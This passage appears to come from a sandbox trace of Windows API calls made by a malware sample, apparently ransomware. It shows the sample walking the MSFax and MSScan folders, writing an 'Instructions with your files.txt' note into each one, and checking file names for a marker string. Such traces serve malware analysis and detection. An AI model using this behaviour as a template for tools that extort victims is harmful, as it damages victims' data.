[0125.749] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\..") returned 54
[0125.749] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0125.749] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\Instructions with your files.txt") returned 84
[0125.749] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\queue\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0125.749] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0125.750] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0125.750] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0125.750] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0125.750] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0125.750] CloseHandle (hObject=0x114) returned 1
[0125.750] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0125.750] GetProcessHeap () returned 0x810000
[0125.750] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0125.750] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1
[0125.750] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems") returned 55
[0125.751] GetProcessHeap () returned 0x810000
[0125.751] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0125.751] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*") returned 57
[0125.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0125.751] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\.") returned 57
[0125.751] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.751] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\..") returned 58
[0125.751] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0125.751] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\Instructions with your files.txt") returned 88
[0125.751] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\sentitems\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0125.754] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0125.755] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0125.755] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0125.755] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0125.755] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0125.755] CloseHandle (hObject=0x114) returned 1
[0125.755] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0125.755] GetProcessHeap () returned 0x810000
[0125.755] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0125.755] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1
[0125.755] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned 58
[0125.755] GetProcessHeap () returned 0x810000
[0125.755] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0125.755] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*") returned 60
[0125.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0125.756] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\.") returned 60
[0125.756] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.756] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\..") returned 61
[0125.756] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0125.756] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned 64
[0125.756] GetProcessHeap () returned 0x810000
[0125.756] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0125.756] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*") returned 66
[0125.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0125.775] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\.") returned 66
[0125.775] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.775] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\..") returned 67
[0125.775] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 1
[0125.775] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif") returned 79
[0125.775] StrStrIW (lpFirst="WelcomeFax.tif", lpSrch="SDfghjkl") returned 0x0
[0125.775] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 0
[0125.775] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\Instructions with your files.txt") returned 97
[0125.775] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0125.775] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0125.777] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0125.777] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0125.777] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0125.777] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0125.777] CloseHandle (hObject=0x118) returned 1
[0125.777] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0125.777] GetProcessHeap () returned 0x810000
[0125.778] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0125.778] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
[0125.778] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\Instructions with your files.txt") returned 91
[0125.778] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0125.778] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0125.779] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0125.779] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0125.779] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0125.779] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0125.779] CloseHandle (hObject=0x114) returned 1
[0125.779] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0125.779] GetProcessHeap () returned 0x810000
[0125.779] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0125.779] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0
[0125.779] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Instructions with your files.txt") returned 78
[0125.779] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0125.780] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0125.780] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0125.780] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0125.781] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0125.781] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0125.781] CloseHandle (hObject=0x110) returned 1
[0125.781] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0125.781] GetProcessHeap () returned 0x810000
[0125.781] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0125.781] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1
[0125.781] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned 46
[0125.781] GetProcessHeap () returned 0x810000
[0125.781] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0125.781] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*") returned 48
[0125.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0125.781] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\.") returned 48
[0125.781] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.781] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\..") returned 49
[0125.781] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1
[0125.781] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned 62
[0125.781] StrStrIW (lpFirst="WelcomeScan.jpg", lpSrch="SDfghjkl") returned 0x0
